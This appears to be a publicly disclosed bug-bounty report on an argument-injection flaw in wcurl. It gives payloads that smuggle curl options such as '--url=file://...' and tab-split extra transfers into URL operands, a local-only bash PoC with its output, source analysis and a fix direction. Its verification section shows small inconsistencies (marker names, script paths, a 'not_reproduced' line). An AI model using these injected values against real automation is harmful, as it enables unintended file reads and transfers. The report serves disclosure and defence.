HexBrain

curl · Report #3708482

wcurl treats some URL operands after -- as curl options

N/Astatus
mediumseverity
23upvotes
6 May 2026disclosed

How it was found

I found that wcurl does not always keep operands after -- in a pure URL-data context. The documented way to pass curl options through wcurl is --curl-options, but a value supplied as a URL operand can still reach the final curl command as an option, for example wcurl -- "--url=file:///...". A single URL argument containing a tab is also split by for url in ${URLS}, allowing one attacker-controlled URL string to create an additional curl transfer. This matters when a script or service safely quotes an untrusted URL as wcurl -- "$url" and expects the value to remain only a URL. The attached local-only PoC shows direct_result=url_option_executed and tab_result=second_transfer_option_executed. I am not claiming command execution, privilege escalation, or Critical severity; the demonstrated issue is an argument-boundary problem between wcurl URL operands and curl options.

Summary

I found that wcurl does not always keep operands after -- in a pure URL-data context. The documented way to pass curl options through wcurl is --curl-options, but a value supplied as a URL operand can still reach the final curl command as an option, for example wcurl -- "--url=file:///...". I also found that a single quoted URL argument containing a tab is split inside wcurl, which can create an additional curl transfer from one attacker-controlled URL string. This matters when a script or service safely quotes an untrusted URL as wcurl -- "$url" and expects the value to remain only a URL. I am not claiming command execution, privilege escalation, or Critical severity; the demonstrated issue is an argument-boundary problem between wcurl URL operands and curl options.

Affected version

I reproduced this on the following local package:

package: curl 8.18.0-1ubuntu2
wcurl version: 2026.01.05

curl --version output:

curl 8.18.0 (x86_64-pc-linux-gnu) libcurl/8.18.0 OpenSSL/3.5.5 zlib/1.3.1 brotli/1.2.0 zstd/1.5.7 libidn2/2.3.8 libpsl/0.21.2 libssh2/1.11.1 nghttp2/1.68.0 librtmp/2.3 mit-krb5/1.22.1 OpenLDAP/2.6.10
Release-Date: 2026-01-07, security patched: 8.18.0-1ubuntu2
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd

Local file hashes from my test environment:

180aaaa62b84e6a92bdebc7e31992c82b446ee72c37006d349c7882c5b54d1ae  /usr/bin/wcurl
79e95e6c354cf1f165541dfc5eed7bbd2ceceb44caa1702df75e37803e7fb365  /usr/bin/wcurl_option_injection_poc.sh

How I analyzed it

I started by checking the intended interface from the local wcurl --help and man wcurl output. Both describe --curl-options as the explicit option-forwarding mechanism, while <URL> is described as the URL to download. Based on that interface, I expected arguments after wcurl -- to remain URL operands, not curl options.

I then inspected the local /usr/bin/wcurl script and focused on how it stores URL operands. The script appends each URL to a single string variable named URLS, encodes only literal spaces with sed 's/ /%20/g', and later re-expands that string with unquoted shell expansion. That combination is important because shell word splitting can still treat tabs and newlines as delimiters, and leading-dash tokens can still be interpreted by the final curl process as options.

The relevant local source lines are:

# line 238
set -- $URLS

# line 255
for url in ${URLS}; do

# line 263
set -- "$@" ${NEXT_PARAMETER} ${PER_URL_PARAMETERS} ${CURL_NO_CLOBBER} --output "${OUTPUT_PATH}" ${CURL_OPTIONS} "${url}"

# lines 326-332
--)
    shift
    for url in "$@"; do
        # Encode whitespace into %20, since wget supports those URLs.
        newurl=$(printf "%s\n" "${url}" | sed 's/ /%20/g')
        URLS="${URLS} ${newurl}"
    done
    break
    ;;

The last "${url}" is quoted against shell splitting at that point, but it is still passed to curl as an argv element that starts with --. curl then treats it as a curl option rather than as URL data.

Payloads

Payload 1: a URL operand that starts with a curl option name.

wcurl -- "--url=file:///tmp/wcurl_argument_injection_poc/source.txt"

Payload 2: one quoted shell argument containing a tab, causing wcurl to create a second transfer.

tab_payload=$(printf 'file://%s\t--url=file://%s' "$BENIGN" "$SECRET")
wcurl -- "$tab_payload"

Payload 3: a minimal dry-run check showing that a post--- operand remains a curl option.

wcurl --dry-run -- --help

Proof of Concept

The PoC below is local-only. It does not contact the network. It uses file:// URLs only so that the behavior is easy to reproduce and safe to inspect.

Save the following as /tmp/wcurl_argument_injection_poc.sh and run:

bash /tmp/wcurl_argument_injection_poc.sh

PoC script:

#!/usr/bin/env bash
set -euo pipefail

WORKDIR="${WORKDIR:-/tmp/wcurl_argument_injection_poc}"
SRC="$WORKDIR/source.txt"
BENIGN="$WORKDIR/benign.txt"
SECRET="$WORKDIR/secret.txt"
DOWNLOAD_DIR="$WORKDIR/download"

rm -rf "$WORKDIR"
mkdir -p "$DOWNLOAD_DIR"

printf 'DIRECT_URL_OPTION_EXECUTED\n' > "$SRC"
printf 'BENIGN_TRANSFER\n' > "$BENIGN"
printf 'TAB_INJECTED_TRANSFER\n' > "$SECRET"

echo '[1] Direct leading-dash URL operand becomes a curl option'
wcurl --dry-run -- "--url=file://$SRC"

(
  cd "$DOWNLOAD_DIR"
  wcurl -- "--url=file://$SRC" >/tmp/wcurl_poc_direct.stdout 2>/tmp/wcurl_poc_direct.stderr
)

if [ -f "$DOWNLOAD_DIR/source.txt" ] && grep -q 'DIRECT_URL_OPTION_EXECUTED' "$DOWNLOAD_DIR/source.txt"; then
  echo 'direct_result=url_option_executed'
else
  echo 'direct_result=not_reproduced'
  sed -n '1,20p' /tmp/wcurl_poc_direct.stderr
fi

echo '[2] A single URL argument containing a tab is split into an extra curl transfer'
tab_payload=$(printf 'file://%s\t--url=file://%s' "$BENIGN" "$SECRET")
wcurl --dry-run -- "$tab_payload"

(
  cd "$DOWNLOAD_DIR"
  wcurl -- "$tab_payload" >/tmp/wcurl_poc_tab.stdout 2>/tmp/wcurl_poc_tab.stderr
)

if [ -f "$DOWNLOAD_DIR/secret.txt" ] && grep -q 'TAB_INJECTED_TRANSFER' "$DOWNLOAD_DIR/secret.txt"; then
  echo 'tab_result=second_transfer_option_executed'
else
  echo 'tab_result=not_reproduced'
  sed -n '1,20p' /tmp/wcurl_poc_tab.stderr
fi

rm -rf "$WORKDIR"

Observed output from my run:

[1] Direct leading-dash URL operand becomes a curl option
curl
--fail
--globoff
--location
--proto-default
https
--remote-time
--retry
5
--no-clobber
--output
source.txt
--url=file:///tmp/wcurl_argument_injection_poc/source.txt
direct_result=url_option_executed

[2] A single URL argument containing a tab is split into an extra curl transfer
curl
--parallel
--parallel-max-host
5
--fail
--globoff
--location
--proto-default
https
--remote-time
--retry
5
--no-clobber
--output
benign.txt
file:///tmp/wcurl_argument_injection_poc/benign.txt
--next
--fail
--globoff
--location
--proto-default
https
--remote-time
--retry
5
--no-clobber
--output
secret.txt
--url=file:///tmp/wcurl_argument_injection_poc/secret.txt
tab_result=second_transfer_option_executed

What the PoC proves

First, wcurl -- "--url=file://$SRC" places the string after --, so it is a wcurl URL operand rather than a wcurl option. The dry-run shows that the final command still contains --url=file:///tmp/.../source.txt as a curl option. The actual run then creates source.txt in the download directory, confirming that curl processed the operand as its own --url option.

Second, the tab payload is passed to wcurl as one quoted shell argument. Despite that, wcurl splits it into two transfers internally because URLS is later expanded as a shell string. The second half of the original URL string becomes --url=file://.../secret.txt, and curl executes it as a second transfer.

Minimal dry-run checks

These commands are useful if you want to confirm the boundary issue without running file transfers:

wcurl --dry-run -- --help
wcurl --dry-run -- $'https://example.invalid/a\t--help'

Observed behavior:

curl
--fail
--globoff
--location
--proto-default
https
--remote-time
--retry
5
--no-clobber
--output
index.html
--help

and:

curl
--parallel
--parallel-max-host
5
--fail
--globoff
--location
--proto-default
https
--remote-time
--retry
5
--no-clobber
--output
a
https://example.invalid/a
--next
--fail
--globoff
--location
--proto-default
https
--remote-time
--retry
5
--no-clobber
--output
index.html
--help

Why I do not think this is intended behavior

The intended curl-option forwarding mechanism is documented as --curl-options:

<CURL_OPTIONS>: Any option supported by curl can be set here. This is not used by wcurl; it is instead forwarded to the curl invocation.

The URL argument is documented separately as URL data:

<URL>: URL to be downloaded. Anything that is not a parameter is considered an URL. Whitespace is percent-encoded and the URL is passed to curl, which then performs the parsing. May be specified more than once.

Because of that separation, I expected an operand after wcurl -- to remain URL data. The current implementation allows that boundary to be bypassed when the URL starts with a dash or contains tab-delimited content.

Things I am not claiming

I am not claiming remote code execution. I am not claiming privilege escalation. I am not claiming authentication bypass. I am not claiming arbitrary file overwrite. I am also not claiming a Critical severity issue. The confirmed behavior is that URL data can become curl options or additional curl transfers under an untrusted URL automation scenario.

Suggested fix direction

The safest direction would be to avoid storing URL operands in a single shell-expanded string. URL operands should be preserved as distinct values, or rejected/encoded if they contain shell IFS/control delimiters such as tab, CR, or LF. The final curl invocation should also place URL data behind an explicit URL boundary such as --url "$url", so a leading-dash URL operand cannot be parsed as a curl option.


Local verification commands

사용한 검증 명령:

dpkg-query -W -f='${Package} ${Version}\n' curl
wcurl --version
curl --version
sha256sum /usr/bin/wcurl /usr/bin/wcurl_option_injection_poc.sh
bash /usr/bin/wcurl_option_injection_poc.sh

확인 결과:

curl 8.18.0-1ubuntu2
2026.01.05
curl 8.18.0 (x86_64-pc-linux-gnu) libcurl/8.18.0 OpenSSL/3.5.5 zlib/1.3.1 brotli/1.2.0 zstd/1.5.7 libidn2/2.3.8 libpsl/0.21.2 libssh2/1.11.1 nghttp2/1.68.0 librtmp/2.3 mit-krb5/1.22.1 OpenLDAP/2.6.10
Release-Date: 2026-01-07, security patched: 8.18.0-1ubuntu2
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd
180aaaa62b84e6a92bdebc7e31992c82b446ee72c37006d349c7882c5b54d1ae  /usr/bin/wcurl
79e95e6c354cf1f165541dfc5eed7bbd2ceceb44caa1702df75e37803e7fb365  /usr/bin/wcurl_option_injection_poc.sh
direct_url_result=url_option_executed
direct_url_marker=WCURL_OPTION_INJECTION_POC
tab_result=second_transfer_option_executed
tab_marker=TAB_INJECTED_TRANSFER
poc_result=not_reproduced

Detailed analysis process

I first treated this as a URL/option-boundary review rather than as a memory-corruption issue. wcurl is a shell wrapper around curl, so the important security question was whether data that the caller intends to pass as a URL can cross into an option context before the final exec curl ... call.

1. Interface expectation

I started from the documented interface:

--curl-options <CURL_OPTIONS>: Specify extra options to be passed when invoking curl.
<URL>: URL to be downloaded. Anything that is not a parameter is considered an URL.

That creates a clear boundary: curl options should be passed through --curl-options, while URL operands should remain URL data. In particular, a caller using wcurl -- "$url" would normally expect "$url" to be treated as a URL operand even if the URL string comes from an untrusted source.

2. Source review

I then reviewed how /usr/bin/wcurl handles URL operands. The relevant parsing block for -- appends every remaining argument into a single shell string:

--)
    shift
    for url in "$@"; do
        newurl=$(printf "%s\n" "${url}" | sed 's/ /%20/g')
        URLS="${URLS} ${newurl}"
    done
    break
    ;;

Two details stood out here:

  1. URL operands are not preserved as separate argv values; they are joined into one string variable.
  2. Only literal ASCII space is percent-encoded. Other shell word-splitting delimiters, especially tab and newline, are not encoded.

Later, wcurl re-expands that string:

set -- $URLS
...
for url in ${URLS}; do
    set -- "$@" ${NEXT_PARAMETER} ${PER_URL_PARAMETERS} ${CURL_NO_CLOBBER} --output "${OUTPUT_PATH}" ${CURL_OPTIONS} "${url}"
    NEXT_PARAMETER="--next"
done

This means that tab-delimited content inside a single original URL argument can become multiple url loop iterations. The final "${url}" is quoted at the shell level, which prevents another round of shell splitting there, but it does not prevent curl from interpreting a leading-dash argv element as a curl option.

3. Initial hypothesis

From the code review, I formed two testable hypotheses:

  1. A URL operand after -- that starts with a curl option name, such as --url=file:///..., may be interpreted by curl as an option.
  2. A single quoted URL string containing a tab may be split by wcurl into two transfers, and the second part may also be interpreted as a curl option.

I deliberately avoided claiming shell command injection because the final execution path uses exec "$@", not eval or sh -c. The bug class I tested was argument injection / option boundary confusion, not OS command injection.

4. Dry-run validation

Before running any real transfer, I used wcurl --dry-run to inspect the final argv that would be passed to curl.

The first minimal check was:

wcurl --dry-run -- --help

Observed output:

curl
--fail
--globoff
--location
--proto-default
https
--remote-time
--retry
5
--no-clobber
--output
index.html
--help

This confirmed that an operand supplied after wcurl -- can remain in the final curl command as a leading-dash curl option.

The second dry-run check used one quoted shell argument with an embedded tab:

wcurl --dry-run -- $'https://example.invalid/a\t--help'

Observed output:

curl
--parallel
--parallel-max-host
5
--fail
--globoff
--location
--proto-default
https
--remote-time
--retry
5
--no-clobber
--output
a
https://example.invalid/a
--next
--fail
--globoff
--location
--proto-default
https
--remote-time
--retry
5
--no-clobber
--output
index.html
--help

This confirmed that one quoted input string can become two curl transfer sections.

5. Safe PoC design

For the actual PoC, I used only local file:// URLs. This avoided any dependency on DNS, remote servers, or network timing, and it made the result easy to verify with marker strings.

I also separated the source directory from the download directory. That was important because otherwise the test could confuse the original source file with the file created by the curl transfer. The PoC writes marker content into source files, runs wcurl from a separate download directory, and then verifies whether the expected marker appears in a newly created file under that download directory.

The two marker strings were:

DIRECT_URL_OPTION_EXECUTED
TAB_INJECTED_TRANSFER

6. Direct option-operand test

The direct test was:

wcurl -- "--url=file://$SRC"

The dry-run showed:

--output
source.txt
--url=file:///tmp/wcurl_argument_injection_poc/source.txt

The actual run created source.txt in the download directory with the marker string:

direct_result=url_option_executed

That result shows that the value supplied as a wcurl URL operand was processed by curl as its own --url option.

7. Tab-splitting test

The tab test was:

tab_payload=$(printf 'file://%s\t--url=file://%s' "$BENIGN" "$SECRET")
wcurl -- "$tab_payload"

The important point is that "$tab_payload" is one shell argument at the call site. The split happens inside wcurl, not in the caller's shell.

The dry-run showed two transfer sections:

file:///tmp/wcurl_argument_injection_poc/benign.txt
--next
...
--url=file:///tmp/wcurl_argument_injection_poc/secret.txt

The actual run created the injected second-transfer output:

tab_result=second_transfer_option_executed

That result confirms that one URL operand can be internally split into an additional curl transfer.

8. Negative result I am not using as an impact claim

I also tested a --config=... style payload because it is a natural curl option-injection target. In this environment, the dry-run showed that --config=... reached curl as an option, but the full marker-file effect did not reproduce reliably because the surrounding --output handling affected the transfer/config behavior.

For that reason, I am not using --config=... as an impact claim in this report. The confirmed claims are limited to --url=file://... option execution and tab-induced extra transfer creation.

9. Fix direction

The main fix is to stop storing URL operands as a single shell-expanded string. URL operands should remain distinct values from parsing to final curl invocation. If preserving distinct values is not practical in POSIX shell, wcurl should reject or encode all shell IFS/control delimiters, not only literal spaces.

The final curl invocation should also force URL data into URL context. A pattern like this is safer:

curl ... --output "$OUTPUT_PATH" ... --url "$url"

That way, even if $url begins with --, curl receives it as the argument to --url rather than as a new option.

Impact

An attacker who controls a URL string consumed by automation using wcurl -- "$url" can change the meaning of the final curl invocation. The demonstrated impact is that URL data can be interpreted as curl options, and a single quoted URL string containing a tab can create an additional curl transfer. In the local PoC, this allows file:// input to be read and written into the current download directory as an unintended transfer. If a wrapper service returns downloaded files to the requester, stores them in a trusted location, or processes them as trusted input, this can become a file disclosure or workflow integrity issue in that wrapper. This report does not demonstrate arbitrary code execution, privilege escalation, authentication bypass, or Critical impact by itself.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original